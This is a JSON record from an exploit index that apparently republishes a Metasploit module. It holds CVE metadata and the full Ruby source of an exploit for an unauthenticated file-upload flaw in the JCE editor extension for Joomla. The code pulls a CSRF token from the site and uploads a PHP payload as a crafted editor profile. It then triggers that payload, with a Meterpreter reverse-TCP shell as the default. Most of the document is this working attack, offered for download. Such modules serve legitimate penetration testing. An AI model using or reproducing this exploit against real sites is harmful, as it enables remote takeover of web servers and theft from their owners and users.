{"exploit":{"id":"MSF-multi--http--joomla_com_jce_unauth_file_upload_rce","name":"Joomla Content Editor Unauthenticated File Upload RCE","description":"This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell. This results in remote code execution, provided that the tmp/ directory is not explicitly restricted. JCE versions up to and including 2.9.99.4 are affected.","cves":["CVE-2026-48907"],"author":"ispyispyispy, David Jardin, Uwe Flottemesch","published":"2026-06-05","platform":"PHP","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb","path":"modules/exploits/multi/http/joomla_com_jce_unauth_file_upload_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"joomla_com_jce_unauth_file_upload_rce.rb","vulnerabilities":[{"id":"CVE-2026-48907","state":"PUBLISHED","title":"Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5","titleSource":"CVE Program","description":"A vulnerability in the JCE editor extension for Joomla allows the creation of new editor profiles for unauthenticated users, ultimately resulting in PHP code upload and execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48907","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","source":"Joomla","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48907"},"updatedAt":"2026-06-20T11:56:48.886Z","retrievedAt":"2026-11-25T16:13:47.155Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--joomla_com_jce_unauth_file_upload_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--joomla_com_jce_unauth_file_upload_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--joomla_com_jce_unauth_file_upload_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--joomla_com_jce_unauth_file_upload_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',\n        'Description' => %q{\n          This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE\n          (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce\n          authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.\n          This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.\n\n          JCE versions up to and including 2.9.99.4 are affected.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'ispyispyispy', # msf module\n          'David Jardin', # discovery\n          'Uwe Flottemesch' # discovery\n        ],\n        'References' => [\n          ['CVE', '2026-48907'],\n          ['GHSA', 'c3f5-4g7f-qjqj'],\n          ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']\n        ],\n        'DisclosureDate' => '2026-06-05',\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'Targets' => [\n          ['Joomla Content Editor (Joomla!)', {}]\n        ],\n        'Privileged' => false,\n        'DefaultOptions' => {\n          'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n        },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),\n      OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])\n    ])\n  end\n\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')\n    )\n\n    return CheckCode::Unknown('Could not connect to web service.') unless res\n    return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404\n    return CheckCode::Unknown(\"Unexpected HTTP response code: #{res.code}.\") unless res.code == 200\n\n    # We could also check with .php extension, but i'd rather not trigger anything by an accident.\n    filename = \"#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}\"\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'tmp', filename)\n    )\n\n    return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403\n\n    version = extract_jce_version\n\n    return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version\n\n    version = Rex::Version.new(version)\n\n    return CheckCode::Safe(\"JCE version #{version} detected.\") unless version <= Rex::Version.new('2.9.99.4')\n\n    CheckCode::Appears(\"JCE version #{version} detected.\")\n  end\n\n  def exploit\n    payload_filename = datastore['FILENAME'] || \"#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php\"\n\n    fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\\.(php[2-7]?|pht(?:ml)?)$/i)\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'index.php'),\n      'keep_cookies' => true\n    )\n\n    fail_with(Failure::Unreachable, 'Could not connect to web service') unless res\n    fail_with(Failure::UnexpectedReply, \"Unexpected HTTP response code: #{res.code}\") unless res.code == 200\n\n    csrf_token = extract_csrf_token(res.body)\n    fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token\n    vprint_status(\"Extracted CSRF token: #{csrf_token}\")\n\n    print_status(\"Uploading #{payload_filename}\")\n    res = upload_profile(payload_filename, payload.encoded, csrf_token)\n\n    fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res\n    fail_with(Failure::UnexpectedReply, \"Upload failed with HTTP response code: #{res.code}\") unless res.code == 200\n\n    register_files_for_cleanup(payload_filename)\n\n    payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)\n    print_status(\"Triggering #{payload_uri}\")\n\n    send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)\n  end\n\n  def extract_jce_version\n    uri = normalize_uri(\n      target_uri.path, 'media', 'com_jce', 'editor', 'extensions',\n      'popups', 'jcemediabox', 'js', 'jcemediabox.js'\n    )\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => uri,\n      'vars_get' => { 'v' => Time.now.to_i } # cache buster\n    )\n\n    return unless res&.code == 200\n\n    match = res.body.match(/jce\\s*-\\s*([\\d.]+)/)\n    match[1] if match\n  end\n\n  def extract_csrf_token(body)\n    match = body.match(/\"csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"/)\n    return match[1] if match\n\n    match = body.match(/<input[^>]*name=\"([a-f0-9]{32})\"[^>]*value=\"1\"/i)\n    match[1] if match\n  end\n\n  def upload_profile(filename, content, csrf_token)\n    mime = Rex::MIME::Message.new\n    mime.add_part(content, 'application/xml', 'binary', \"form-data; name=\\\"profile_file\\\"; filename=\\\"#{filename}\\\"\")\n    mime.add_part('profiles.import', nil, nil, 'form-data; name=\"task\"')\n    mime.add_part('1', nil, nil, \"form-data; name=\\\"#{csrf_token}\\\"\")\n\n    data = mime.to_s\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path),\n      'vars_get' => { 'option' => 'com_jce' },\n      'ctype' => \"multipart/form-data; boundary=#{mime.bound}\",\n      'data' => data\n    )\n  end\nend\n","sha256":"78e6d275124e8e7f1fc5e0081fae9cdce23e0fd4b31cf16202ec54a063dc3655","bytes":6083,"fetchedAt":"2026-11-25T16:31:00.878Z","encoding":"utf-8 (display only; download retains original bytes)"}